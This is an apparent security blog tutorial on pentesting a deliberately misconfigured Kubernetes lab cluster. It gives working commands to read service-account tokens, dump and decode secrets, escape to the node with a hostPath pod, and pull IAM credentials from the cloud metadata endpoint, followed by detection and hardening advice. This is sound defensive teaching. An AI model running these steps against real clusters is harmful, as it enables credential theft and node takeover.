Pentesting a Misconfigured Kubernetes Cluster in a Lab
A hands-on Kubernetes pentesting walkthrough in a lab you own: model the cluster, run external recon, enumerate from a pod, abuse loose RBAC, escape to the node, move laterally, then detect and defend.
Kubernetes pentesting is the practice of treating a cluster the way an attacker would: as a stack of APIs, tokens, and trust boundaries that are only as strong as their defaults. A cluster is not one machine, it is a control plane steering many nodes, and most break-ins are not exotic zero days. They are a mounted service-account token with more rights than anyone meant to grant, a kubelet listening on the wrong interface, or a pod allowed to mount the host. This walkthrough builds a safe practice cluster, finds those gaps from the outside and from inside a pod, and then closes every one of them.
Read it top to bottom once to build the mental model, then keep it open as a checklist while you work a lab. Every command here runs against a cluster you own or are authorized to assess, on the internal range 10.10.10.0/24.
Run everything in this post only against a cluster you own or have written permission to test, such as a local kind cluster or Kubernetes Goat on your own machine. Touching a cluster you do not control is a crime, and metadata endpoints in particular can expose real cloud credentials.
01A quick model of a Kubernetes cluster
A Kubernetes cluster is easier to attack once you picture its moving parts, so start with the model before any Kubernetes pentesting. The control plane is the brain. Its center is the API server, the single front door every request passes through, usually on TCP 6443. Behind it sits etcd, the key value store that holds the entire cluster state including every Secret. The scheduler and controller manager round out the control plane.
The nodes are the worker machines. Each runs a kubelet, the agent that starts and stops containers and answers on TCP 10250. Workloads run as pods, one or more containers sharing a network namespace. Access inside the cluster is governed by RBAC, which maps subjects to verbs on resources, and most automated access uses a service account, whose token is mounted into pods by default.
Where it goes wrong is almost always a trust boundary left open: the API server reachable with anonymous or over-broad rights, the kubelet answering unauthenticated, etcd exposed without TLS, a dashboard with a powerful account, or a pod granted far more than it needs. Each of the sections below targets one of those boundaries in order.
02Building a safe practice cluster
A safe practice cluster is the first thing to stand up, because you need a target you are allowed to break. Two options cover almost everything. kind runs a real cluster inside Docker containers in seconds and is perfect for clean RBAC and node experiments. Kubernetes Goat is an intentionally vulnerable cluster from Madhu Akula that ships ready-made misconfigurations, so you can practice each attack with a known-good answer.
# a throwaway single-node cluster you fully own # 0xpriv.dev/labs kind create cluster --name lab kubectl cluster-info --context kind-lab # or clone the deliberately vulnerable scenarios git clone https://github.com/madhuakula/kubernetes-goat cd kubernetes-goat && bash setup-kubernetes-goat.sh
kind clusters are disposable, so delete and recreate between experiments with kind delete cluster --name lab. That gives you a clean slate and keeps one broken test from poisoning the next.
Give every node in your lab an address in 10.10.10.0/24 so the examples match. Once the cluster is up and kubectl get nodes returns Ready, you have a target that behaves like production without any of the risk.
03External recon against the cluster
External recon maps what the cluster exposes before you have any credentials at all. A misconfigured cluster often leaks several ports to the network, and each is a different way in. Start with a service sweep of the node range, then look specifically at the four endpoints that matter.
| Port | Service | What it can leak |
|---|---|---|
| 6443 | API server | Anonymous listing if RBAC binds system:anonymous |
| 10250 | kubelet | Pod listing and command exec if unauthenticated |
| 2379 | etcd | Entire cluster state, including every Secret |
| 30000 and up | NodePort | Dashboards and apps published to the network |
# service sweep of the node range, then the kubelet read-only API nmap -p 6443,10250,10255,2379,30000-30010 -sV 10.10.10.0/24 # kube-hunter is the purpose-built scanner for this step kube-hunter --remote 10.10.10.5
The kubelet is the classic finding. On a hardened node it demands a client certificate, but a loose one answers its read-only and even its exec paths to anyone. Confirm it with a plain request before assuming anything.
$ curl -sk https://10.10.10.5:10250/pods | jq '.items[].metadata.name' "redis-0" "web-7c9f" "metadata-proxy"
An exposed etcd on 2379 without TLS is the jackpot and the rarest: it hands over the whole state store. A Kubernetes Dashboard published through a NodePort is more common, and dangerous only when its service account is powerful, which the next sections show how to measure.
04Enumerating from inside a pod
Enumerating from inside a pod is where most real Kubernetes pentesting happens, because a foothold usually comes from a vulnerable app, not from the control plane directly. The moment you land in a pod, Kubernetes has already handed you something: by default it mounts a service-account token into every pod at a fixed path. That token is your identity to the API server.
# the three files mounted for the pod service account ls /var/run/secrets/kubernetes.io/serviceaccount/ # -> ca.crt namespace token TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) APISERVER=https://kubernetes.default.svc # environment variables often hint at neighbours and backends env | grep -iE 'KUBERNETES|SERVICE_HOST|_PORT'
With the token in hand, the single most useful question is what it is allowed to do. kubectl auth can-i asks the API server to evaluate RBAC for you, so you learn your rights without guessing. Run it with --list for the full picture.
$ kubectl auth can-i --list --token=$TOKEN Resources Non-Resource URLs Verbs secrets [] [get list] pods [] [get list create] pods/exec [] [create] $ kubectl auth can-i create pods --token=$TOKEN yes
One more check belongs here: the cloud metadata endpoint. From inside a pod on a cloud node, 169.254.169.254 may answer and hand back instance credentials. That is a lateral move into the cloud account, covered later, and a reason to always test whether the pod can reach it.
A mounted token is not a vulnerability by itself, it is how pods talk to the API. The risk is the rights behind it. A default token that can only read its own namespace is fine, one that can list secrets cluster-wide is a breach waiting to happen.
05Abusing over-permissive RBAC
Over-permissive RBAC is the most common way a small foothold becomes full control, so this is the heart of the assessment. RBAC binds subjects to verbs on resources, and two verbs stand out because of what they unlock: list secrets reads credentials directly, and create pods lets you run a container with settings the original workload never had.
If can-i said you may list secrets, read them. Service tokens, database passwords, and registry credentials all live there as base64.
# read every secret the token can reach, then decode one kubectl get secrets -A --token=$TOKEN kubectl get secret db-creds -o jsonpath='{.data.password}' --token=$TOKEN | base64 -d
Create rights are even stronger, because a new pod runs with whatever you put in its spec. A pod that mounts the host filesystem or runs privileged turns a namespace-scoped token into node access, which is the next section. The point to measure during a test is simply whether the account can create pods at all, and whether anything stops a dangerous spec.
Creating a pod is effectively arbitrary code execution on a node, under whatever service account and host mounts the spec requests. Treat create pods on a shared account as close to cluster admin, and in a report, flag it as high severity.
06Escaping a pod to the node
Escaping a pod to the node is the step that breaks the container boundary, and in a misconfigured cluster it needs no kernel exploit at all. If your token can create pods, you can ask the scheduler for a pod whose spec quietly erases the isolation: a privileged container, or one that hostPath mounts the node root filesystem at /. The container then reads and writes the node as root.
# a pod spec that mounts the node root filesystem read-write # understanding the shape is the goal; a real test keeps it minimal apiVersion: v1 kind: Pod metadata: { name: node-reader, namespace: default } spec: containers: - name: c image: alpine command: ["sleep", "3600"] volumeMounts: - { name: host, mountPath: /host } volumes: - name: host hostPath: { path: / }
Once that pod is running, the node filesystem sits under /host. From there the usual targets are the kubelet's own kubeconfig and client certificate, which often carry far more rights than your starting pod, and any other pod's mounted tokens visible on disk.
$ kubectl exec -it node-reader --token=$TOKEN -- sh # ls /host/var/lib/kubelet/ config.yaml pki pods # cat /host/etc/kubernetes/kubelet.conf | grep -c client-certificate 1
Privileged pods reach the same place by a different door: with full capabilities a container can enter the host namespaces directly. Either way the lesson for defenders is identical, which is that a pod should never be allowed to request host mounts or privilege in the first place.
07Lateral movement and cloud metadata
Lateral movement turns one compromised node or token into reach across the whole environment. Inside the cluster, a token or kubelet credential that works in one namespace often works in others, because RBAC roles are frequently bound cluster-wide by mistake. Re-run can-i against each namespace and list service accounts to find the most powerful identity you can reach.
# which namespaces exist, and can the current identity act in them kubectl get ns --token=$TOKEN for ns in $(kubectl get ns -o name --token=$TOKEN | cut -d/ -f2); do echo "== $ns =="; kubectl auth can-i list secrets -n $ns --token=$TOKEN done
The bigger jump is out of the cluster entirely. On a cloud node the instance metadata service at 169.254.169.254 issues temporary credentials for the node's role. A pod that can reach it, and many can unless network policy blocks it, reads those credentials and then acts in the cloud account with the node's permissions.
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ node-instance-role $ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/node-instance-role { "AccessKeyId": "AKIA...", "SecretAccessKey": "...", "Token": "..." }
In a real cloud this is how a single pod break-in becomes an account-wide incident. In your lab, confirm whether pods can reach that address at all, because the fix is a network policy, not a code change.
08A worked walkthrough
A worked walkthrough ties the pieces together into one chain, the way a short lab run against 10.10.10.5 actually unfolds. Each step is a decision based on what the last one returned.
- Land and read identity. You get a shell in a web pod through an app bug. First action is to read the mounted token and run
kubectl auth can-i --listto learn your rights. - Measure the token. The list shows
get liston secrets andcreateon pods. That is enough for both a direct read and a node escape. - Take the easy data. List secrets across namespaces and decode a database credential, recording it as an impact finding.
- Escape to the node. Because create is allowed and nothing blocks host mounts, schedule a hostPath pod and read the node's kubelet credentials.
- Move and report. Test the metadata endpoint and each namespace for reach, then write up the chain with the single fix that would have broken it earliest.
The pattern repeats on almost every misconfigured cluster: a weak foothold, a token with too many rights, and one missing control (host mounts, network policy, or least privilege) that would have stopped the chain cold.
09Detecting the attack
Detecting the attack is realistic because this activity is noisy in the right logs. The API server audit log records every request with its user, verb, and resource, so a service account suddenly listing secrets cluster-wide or creating a privileged pod stands out sharply against its normal pattern. Turn the audit policy on and ship those logs somewhere you can query them.
At runtime, Falco watches syscalls and ships rules for exactly these moves: a shell spawned in a container, a pod mounting a sensitive host path, or a process reading the service-account token in an unusual way. Pair the two and you cover both the control plane and the node.
| Signal | Where | What it suggests |
|---|---|---|
| Account lists secrets cluster-wide | API audit log | RBAC abuse or token theft |
| Create pod with hostPath / privileged | API audit log | Attempted node escape |
| Shell spawned inside a container | Falco | Interactive foothold |
| Outbound hit to 169.254.169.254 | Network / Falco | Metadata credential theft |
10Shutting the cluster down tight
Defending the cluster comes down to removing each boundary the attack above relied on, and almost all of it is configuration rather than new tooling. Fix these and the whole chain breaks at the first step.
automountServiceAccountToken: false where a pod does not call the API, and block 169.254.169.254 or require IMDSv2 so a pod cannot read node credentials.11FAQ
Is a mounted service-account token a vulnerability on its own?
No. The token is how a pod authenticates to the API server, and that is by design. The risk is entirely in the RBAC rights behind it. A token that can only read its own namespace is harmless, while one that can list secrets cluster-wide or create pods is close to full control. Audit the rights, and set automountServiceAccountToken: false on pods that never call the API.
What is the fastest high-impact check in a Kubernetes test?
From inside a pod, run kubectl auth can-i --list with the mounted token. It asks the API server to enumerate your rights directly, so in one request you learn whether you can read secrets, create pods, or escape to the node. It beats guessing payloads and tells you exactly which section of an attack chain is open.
Why does "create pods" count as node compromise?
Because a pod runs with whatever its spec requests. If you can create pods and nothing blocks dangerous settings, you can ask for a privileged container or a hostPath mount of the node root, which gives you root on the node. That is why Pod Security Standards at the restricted level matter as much as the RBAC verb itself.
How do I practice this safely and legally?
Build your own target. A kind cluster spins up a real Kubernetes in Docker in seconds, and Kubernetes Goat ships deliberately vulnerable scenarios with known answers. Run both locally on your own machine, keep the nodes on a private range like 10.10.10.0/24, and never point these techniques at a cluster you do not own or have written permission to test.
What single control stops most of this?
There is no one control, but least-privilege RBAC plus Pod Security Standards at the restricted level cover the two biggest steps: over-broad tokens and pod-to-node escapes. Add default-deny network policies to block the metadata endpoint and internal pivoting, and the common attack chain has nowhere left to go.
references
Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.